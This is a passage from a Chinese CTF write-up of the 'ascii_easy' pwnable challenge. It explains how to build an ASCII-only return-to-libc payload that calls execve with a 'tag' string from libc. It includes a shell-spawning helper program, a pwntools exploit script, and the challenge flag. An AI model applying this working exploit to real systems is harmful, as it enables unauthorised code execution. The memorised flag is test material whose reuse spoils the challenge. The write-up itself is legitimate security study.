</span></span></span><span class="line"><span class="ln">19</span><span class="cl"><span class="go">   d8eb5:       e8 26 f7 fd ff          call   b85e0 &lt;execve@@GLIBC_2.0&gt;
</span></span></span><span class="line"><span class="ln">20</span><span class="cl"><span class="go">   d91ae:       e8 2d f4 fd ff          call   b85e0 &lt;execve@@GLIBC_2.0&gt;
</span></span></span><span class="line"><span class="ln">21</span><span class="cl"><span class="go">   da486:       e8 55 e1 fd ff          call   b85e0 &lt;execve@@GLIBC_2.0&gt;
</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">console</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button><button class="collapse-toggle bg-card text-muted-foreground rounded-lg m-2" aria-label="Toggle collapse code block"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="M24 0v24H0V0zM12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.019-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="m11 17.243l-3.95-3.95a1 1 0 1 0-1.414 1.414l5.657 5.657a1 1 0 0 0 1.414 0l5.657-5.657a1 1 0 0 0-1.414-1.414L13 17.243V4a1 1 0 1 0-2 0z"></path></g></svg>
<span class="desc"> code</span></button><div class="collapse-fade"></div></div>
<p>能用的是 <code>0x5555e000</code> + <code>0x000d8b77</code> = <code>0x55636b77</code>。</p>
<p>但是execve要求参数，第一个是程序路径，后两个是NULL</p>
<p>第一个参数应该是程序路径，但很遗憾找不到。所以这里思路是找个在ASCII范围内的字符串填进去。在<code>/tmp</code>创建同名程序，程序功能是调用shell</p>
<p>在找字符串的时候，IDA的String窗口显示不全，因为默认最短5字节，所以要在字符串窗口右键，点击setup，把5改成3。显示多一点。</p>
<p>在汇编窗口是按字节显示的字符串，如：</p>
<div class="code-block highlight collapsed"><pre tabindex="0" class="chroma"><code class="language-console" data-lang="console"><span class="line"><span class="ln"> 1</span><span class="cl"><span class="go">.rodata:00158534                 db  61h ; a
</span></span></span><span class="line"><span class="ln"> 2</span><span class="cl"><span class="go">.rodata:00158535                 db  63h ; c
</span></span></span><span class="line"><span class="ln"> 3</span><span class="cl"><span class="go">.rodata:00158536                 db  74h ; t
</span></span></span><span class="line"><span class="ln"> 4</span><span class="cl"><span class="go">.rodata:00158537                 db  69h ; i
</span></span></span><span class="line"><span class="ln"> 5</span><span class="cl"><span class="go">.rodata:00158538                 db  6Fh ; o
</span></span></span><span class="line"><span class="ln"> 6</span><span class="cl"><span class="go">.rodata:00158539                 db  6Eh ; n
</span></span></span><span class="line"><span class="ln"> 7</span><span class="cl"><span class="go">.rodata:0015853A                 db    0
</span></span></span><span class="line"><span class="ln"> 8</span><span class="cl"><span class="go">.rodata:0015853B                 db    0
</span></span></span><span class="line"><span class="ln"> 9</span><span class="cl"><span class="go">.rodata:0015853C                 db    0
</span></span></span><span class="line"><span class="ln">10</span><span class="cl"><span class="go">.rodata:0015853D                 db    0
</span></span></span><span class="line"><span class="ln">11</span><span class="cl"><span class="go">.rodata:0015853E                 db    0
</span></span></span><span class="line"><span class="ln">12</span><span class="cl"><span class="go">.rodata:0015853F                 db    0
</span></span></span><span class="line"><span class="ln">13</span><span class="cl"><span class="go">.rodata:00158540                 db    3
</span></span></span><span class="line"><span class="ln">14</span><span class="cl"><span class="go">.rodata:00158541                 db    0
</span></span></span><span class="line"><span class="ln">15</span><span class="cl"><span class="go">.rodata:00158542                 db    0
</span></span></span><span class="line"><span class="ln">16</span><span class="cl"><span class="go">.rodata:00158543                 db    0
</span></span></span><span class="line"><span class="ln">17</span><span class="cl"><span class="go">.rodata:00158544                 db  74h ; t
</span></span></span><span class="line"><span class="ln">18</span><span class="cl"><span class="go">.rodata:00158545                 db  61h ; a
</span></span></span><span class="line"><span class="ln">19</span><span class="cl"><span class="go">.rodata:00158546                 db  67h ; g
</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">console</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button><button class="collapse-toggle bg-card text-muted-foreground rounded-lg m-2" aria-label="Toggle collapse code block"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="M24 0v24H0V0zM12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.019-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="m11 17.243l-3.95-3.95a1 1 0 1 0-1.414 1.414l5.657 5.657a1 1 0 0 0 1.414 0l5.657-5.657a1 1 0 0 0-1.414-1.414L13 17.243V4a1 1 0 1 0-2 0z"></path></g></svg>
<span class="desc"> code</span></button><div class="collapse-fade"></div></div>
<p>对着开头地址按A，可以显示成完整字符串，如：</p>
<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-console" data-lang="console"><span class="line"><span class="ln"> 1</span><span class="cl"><span class="go">.rodata:00158534 aAction         db &#39;action&#39;,0
</span></span></span><span class="line"><span class="ln"> 2</span><span class="cl"><span class="go">.rodata:0015853B                 db    0
</span></span></span><span class="line"><span class="ln"> 3</span><span class="cl"><span class="go">.rodata:0015853C                 db    0
</span></span></span><span class="line"><span class="ln"> 4</span><span class="cl"><span class="go">.rodata:0015853D                 db    0
</span></span></span><span class="line"><span class="ln"> 5</span><span class="cl"><span class="go">.rodata:0015853E                 db    0
</span></span></span><span class="line"><span class="ln"> 6</span><span class="cl"><span class="go">.rodata:0015853F                 db    0
</span></span></span><span class="line"><span class="ln"> 7</span><span class="cl"><span class="go">.rodata:00158540                 db    3
</span></span></span><span class="line"><span class="ln"> 8</span><span class="cl"><span class="go">.rodata:00158541                 db    0
</span></span></span><span class="line"><span class="ln"> 9</span><span class="cl"><span class="go">.rodata:00158542                 db    0
</span></span></span><span class="line"><span class="ln">10</span><span class="cl"><span class="go">.rodata:00158543                 db    0
</span></span></span><span class="line"><span class="ln">11</span><span class="cl"><span class="go">.rodata:00158544 aTag            db &#39;tag&#39;,0
</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">console</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
<p>这里使用tag，地址等于<code>0x5555e000</code> + <code>0x00158544</code> = <code>0x556b6544</code></p>
<p>对于NULL指向0的地址就可以，但是一个参数也是4字节组成的，要求连续4个0，如</p>
<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-console" data-lang="console"><span class="line"><span class="ln"> 1</span><span class="cl"><span class="go">.rodata:00158534 aAction         db &#39;action&#39;,0
</span></span></span><span class="line"><span class="ln"> 2</span><span class="cl"><span class="go">.rodata:0015853B                 db    0  // 选这个地址
</span></span></span><span class="line"><span class="ln"> 3</span><span class="cl"><span class="go">.rodata:0015853C                 db    0
</span></span></span><span class="line"><span class="ln"> 4</span><span class="cl"><span class="go">.rodata:0015853D                 db    0
</span></span></span><span class="line"><span class="ln"> 5</span><span class="cl"><span class="go">.rodata:0015853E                 db    0
</span></span></span><span class="line"><span class="ln"> 6</span><span class="cl"><span class="go">.rodata:0015853F                 db    0
</span></span></span><span class="line"><span class="ln"> 7</span><span class="cl"><span class="go">.rodata:00158540                 db    3
</span></span></span><span class="line"><span class="ln"> 8</span><span class="cl"><span class="go">.rodata:00158541                 db    0
</span></span></span><span class="line"><span class="ln"> 9</span><span class="cl"><span class="go">.rodata:00158542                 db    0
</span></span></span><span class="line"><span class="ln">10</span><span class="cl"><span class="go">.rodata:00158543                 db    0
</span></span></span><span class="line"><span class="ln">11</span><span class="cl"><span class="go">.rodata:00158544 aTag            db &#39;tag&#39;,0
</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">console</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
<p>地址等于 0x5555e000 + 0x0015853B = 0x556b653b</p>
<p>payload结构：</p>
<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="ln">1</span><span class="cl">32字节垃圾
</span></span><span class="line"><span class="ln">2</span><span class="cl">call execve
</span></span><span class="line"><span class="ln">3</span><span class="cl">tag   // 因为上面是call 调用的，它会自动填充返回地址，这里不用写返回地址
</span></span><span class="line"><span class="ln">4</span><span class="cl">null
</span></span><span class="line"><span class="ln">5</span><span class="cl">null</span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">text</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
<p>由于写的路径是tag，所以我们需要编译一个tag的程序，内容是打开shell：</p>
<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-console" data-lang="console"><span class="line"><span class="ln"> 1</span><span class="cl"><span class="go">ascii_easy@ubuntu:/tmp/as$ cat tag.c
</span></span></span><span class="line"><span class="ln"> 2</span><span class="cl"><span class="gp">#</span>include &lt;stdio.h&gt;
</span></span><span class="line"><span class="ln"> 3</span><span class="cl"><span class="err">
</span></span></span><span class="line"><span class="ln"> 4</span><span class="cl"><span class="go">int main(void) {
</span></span></span><span class="line"><span class="ln"> 5</span><span class="cl"><span class="go">        system(&#34;/bin/bash&#34;);
</span></span></span><span class="line"><span class="ln"> 6</span><span class="cl"><span class="go">        return 0;
</span></span></span><span class="line"><span class="ln"> 7</span><span class="cl"><span class="go">}
</span></span></span><span class="line"><span class="ln"> 8</span><span class="cl"><span class="go">ascii_easy@ubuntu:/tmp/as$ gcc tag.c -o tag
</span></span></span><span class="line"><span class="ln"> 9</span><span class="cl"><span class="go">tag.c: In function ‘main’:
</span></span></span><span class="line"><span class="ln">10</span><span class="cl"><span class="go">tag.c:4:9: warning: implicit declaration of function ‘system’ [-Wimplicit-function-declaration]
</span></span></span><span class="line"><span class="ln">11</span><span class="cl"><span class="go">    4 |         system(&#34;/bin/bash&#34;);
</span></span></span><span class="line"><span class="ln">12</span><span class="cl"><span class="go">      |         ^~~~~~
</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">console</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
<p>exp和演示：</p>
<div class="code-block highlight collapsed"><pre tabindex="0" class="chroma"><code class="language-console" data-lang="console"><span class="line"><span class="ln"> 1</span><span class="cl"><span class="go">ascii_easy@ubuntu:/tmp/as$ cat exp.py 
</span></span></span><span class="line"><span class="ln"> 2</span><span class="cl"><span class="go">from pwn import *
</span></span></span><span class="line"><span class="ln"> 3</span><span class="cl"><span class="err">
</span></span></span><span class="line"><span class="ln"> 4</span><span class="cl"><span class="go">base = 0x5555e000
</span></span></span><span class="line"><span class="ln"> 5</span><span class="cl"><span class="go">call_execve = base + 0xd8b77
</span></span></span><span class="line"><span class="ln"> 6</span><span class="cl"><span class="go">tag = base + 0x158544
</span></span></span><span class="line"><span class="ln"> 7</span><span class="cl"><span class="go">null0 = base + 0x15853B
</span></span></span><span class="line"><span class="ln"> 8</span><span class="cl"><span class="err">
</span></span></span><span class="line"><span class="ln"> 9</span><span class="cl"><span class="go">payload = b&#39;K&#39;*32 + p32(call_execve) + p32(tag) + p32(null0) + p32(null0)
</span></span></span><span class="line"><span class="ln">10</span><span class="cl"><span class="go">arg = [&#39;/home/ascii_easy/ascii_easy&#39;, payload]
</span></span></span><span class="line"><span class="ln">11</span><span class="cl"><span class="go">p = process(executable=&#39;/home/ascii_easy/ascii_easy&#39;, argv=arg)
</span></span></span><span class="line"><span class="ln">12</span><span class="cl"><span class="err">
</span></span></span><span class="line"><span class="ln">13</span><span class="cl"><span class="go">p.interactive()
</span></span></span><span class="line"><span class="ln">14</span><span class="cl"><span class="go">ascii_easy@ubuntu:/tmp/as$ python3 exp.py 
</span></span></span><span class="line"><span class="ln">15</span><span class="cl"><span class="go">[+] Starting local process &#39;/home/ascii_easy/ascii_easy&#39;: pid 4149057
</span></span></span><span class="line"><span class="ln">16</span><span class="cl"><span class="go">[*] Switching to interactive mode
</span></span></span><span class="line"><span class="ln">17</span><span class="cl"><span class="go">triggering bug...
</span></span></span><span class="line"><span class="ln">18</span><span class="cl"><span class="gp">$</span> cat ~/flag
</span></span><span class="line"><span class="ln">19</span><span class="cl"><span class="go">ASCII_armor_is_a_real_pain_to_d3al_with!
